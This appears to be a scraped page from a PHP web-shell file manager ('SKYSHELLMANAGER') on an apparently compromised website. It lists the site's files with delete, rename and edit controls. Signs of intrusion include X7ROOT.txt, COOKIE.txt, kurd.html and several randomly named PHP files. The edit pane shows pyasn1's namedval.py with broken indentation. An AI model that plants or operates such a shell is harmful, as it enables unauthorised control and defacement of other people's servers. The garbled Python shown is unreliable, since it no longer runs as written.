ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.2.30

Path:root/home/qooetu/costes.qooetu.com/

Name	Size	Perm	Actions
📁 .well-known	-	0755	🗑️ 🏷️
📁 2e19d9	-	0755	🗑️ 🏷️
📁 6b114	-	0755	🗑️ 🏷️
📁 Modules	-	0755	🗑️ 🏷️
📁 app	-	0755	🗑️ 🏷️
📁 assets	-	0755	🗑️ 🏷️
📁 bootstrap	-	0755	🗑️ 🏷️
📁 cgi-bin	-	0755	🗑️ 🏷️
📁 config	-	0755	🗑️ 🏷️
📁 css	-	0755	🗑️ 🏷️
📁 database	-	0755	🗑️ 🏷️
📁 images	-	0755	🗑️ 🏷️
📁 js	-	0755	🗑️ 🏷️
📁 nbproject	-	0755	🗑️ 🏷️
📁 public	-	0755	🗑️ 🏷️
📁 resources	-	0755	🗑️ 🏷️
📁 routes	-	0755	🗑️ 🏷️
📁 storage	-	0755	🗑️ 🏷️
📁 tests	-	0755	🗑️ 🏷️
📁 uploads	-	0755	🗑️ 🏷️
📁 vendor	-	0755	🗑️ 🏷️
📁 wp-admin	-	0755	🗑️ 🏷️
📁 wp-content	-	0755	🗑️ 🏷️
📁 wp-includes	-	0755	🗑️ 🏷️
📄 .htaccess	0.23 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 COOKIE.txt	0.2 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 X7ROOT.txt	0.27 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 defaults.php	1.29 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 engine.php	0 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 error_log	813.08 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 features.php	11.28 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 googlecfb82e09419fc0f6.html	0.05 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 index.php0	1.56 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 inputs.php	0.12 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 kurd.html	1.07 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 library.php	0 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 min.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 p.php	2.75 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 php.ini	0.04 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 product.php	1.78 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 qpmwztts.php	0.74 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 robots.txt	0.32 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 tovmbkwh.php	0.74 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 tyyffovi.php	0.74 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 veoxv.html	1.23 KB	0644	🗑️ 🏷️ ⬇️ ✏️

Edit: namedval.py

#
# This file is part of pyasn1 software.
#
# Copyright (c) 2005-2020, Ilya Etingof <etingof@gmail.com>
# License: https://pyasn1.readthedocs.io/en/latest/license.html
#
# ASN.1 named integers
#
from pyasn1 import error

__all__ = ['NamedValues']

class NamedValues(object):
    """Create named values object.

The |NamedValues| object represents a collection of string names
    associated with numeric IDs. These objects are used for giving
    names to otherwise numerical values.

|NamedValues| objects are immutable and duck-type Python
    :class:`dict` object mapping ID to name and vice-versa.

Parameters
    ----------
    *args: variable number of two-element :py:class:`tuple`

name: :py:class:`str`
            Value label

value: :py:class:`int`
            Numeric value

Keyword Args
    ------------
    name: :py:class:`str`
        Value label

value: :py:class:`int`
        Numeric value

Examples
    --------

.. code-block:: pycon

>>> nv = NamedValues('a', 'b', ('c', 0), d=1)
        >>> nv
        >>> {'c': 0, 'd': 1, 'a': 2, 'b': 3}
        >>> nv[0]
        'c'
        >>> nv['a']
        2
    """
    def __init__(self, *args, **kwargs):
        self.__names = {}
        self.__numbers = {}

anonymousNames = []

for namedValue in args:
            if isinstance(namedValue, (tuple, list)):
                try:
                    name, number = namedValue

except ValueError:
                    raise error.PyAsn1Error('Not a proper attribute-value pair %r' % (namedValue,))

else:
                anonymousNames.append(namedValue)
                continue

if name in self.__names:
                raise error.PyAsn1Error('Duplicate name %s' % (name,))

if number in self.__numbers:
                raise error.PyAsn1Error('Duplicate number  %s=%s' % (name, number))

self.__names[name] = number
            self.__numbers[number] = name

for name, number in kwargs.items():
            if name in self.__names:
                raise error.PyAsn1Error('Duplicate name %s' % (name,))

if number in self.__numbers:
                raise error.PyAsn1Error('Duplicate number  %s=%s' % (name, number))

self.__names[name] = number
            self.__numbers[number] = name

if anonymousNames:

number = self.__numbers and max(self.__numbers) + 1 or 0

for name in anonymousNames:

if name in self.__names:
                    raise error.PyAsn1Error('Duplicate name %s' % (name,))

self.__names[name] = number
                self.__numbers[number] = name

number += 1

def __repr__(self):
        representation = ', '.join(['%s=%d' % x for x in self.items()])

if len(representation) > 64:
            representation = representation[:32] + '...' + representation[-32:]

return '<%s object, enums %s>' % (
            self.__class__.__name__, representation)

def __eq__(self, other):
        return dict(self) == other

def __ne__(self, other):
        return dict(self) != other

def __lt__(self, other):
        return dict(self) < other

def __le__(self, other):
        return dict(self) <= other

def __gt__(self, other):
        return dict(self) > other

def __ge__(self, other):
        return dict(self) >= other

def __hash__(self):
        return hash(self.items())

# Python dict protocol (read-only)

def __getitem__(self, key):
        try:
            return self.__numbers[key]

except KeyError:
            return self.__names[key]

def __len__(self):
        return len(self.__names)

def __contains__(self, key):
        return key in self.__names or key in self.__numbers

def __iter__(self):
        return iter(self.__names)

def values(self):
        return iter(self.__numbers)

def keys(self):
        return iter(self.__names)

def items(self):
        for name in self.__names:
            yield name, self.__names[name]

# support merging

def __add__(self, namedValues):
        return self.__class__(*tuple(self.items()) + tuple(namedValues.items()))

# XXX clone/subtype?

def clone(self, *args, **kwargs):
        new = self.__class__(*args, **kwargs)
        return self + new

# legacy protocol

def getName(self, value):
        if value in self.__numbers:
            return self.__numbers[value]

def getValue(self, name):
        if name in self.__names:
            return self.__names[name]

def getValues(self, *names):
        try:
            return [self.__names[name] for name in names]

except KeyError:
            raise error.PyAsn1Error(
                'Unknown bit identifier(s): %s' % (set(names).difference(self.__names),)
            )

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ PHP v8.2.30

Edit: namedval.py

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.2.30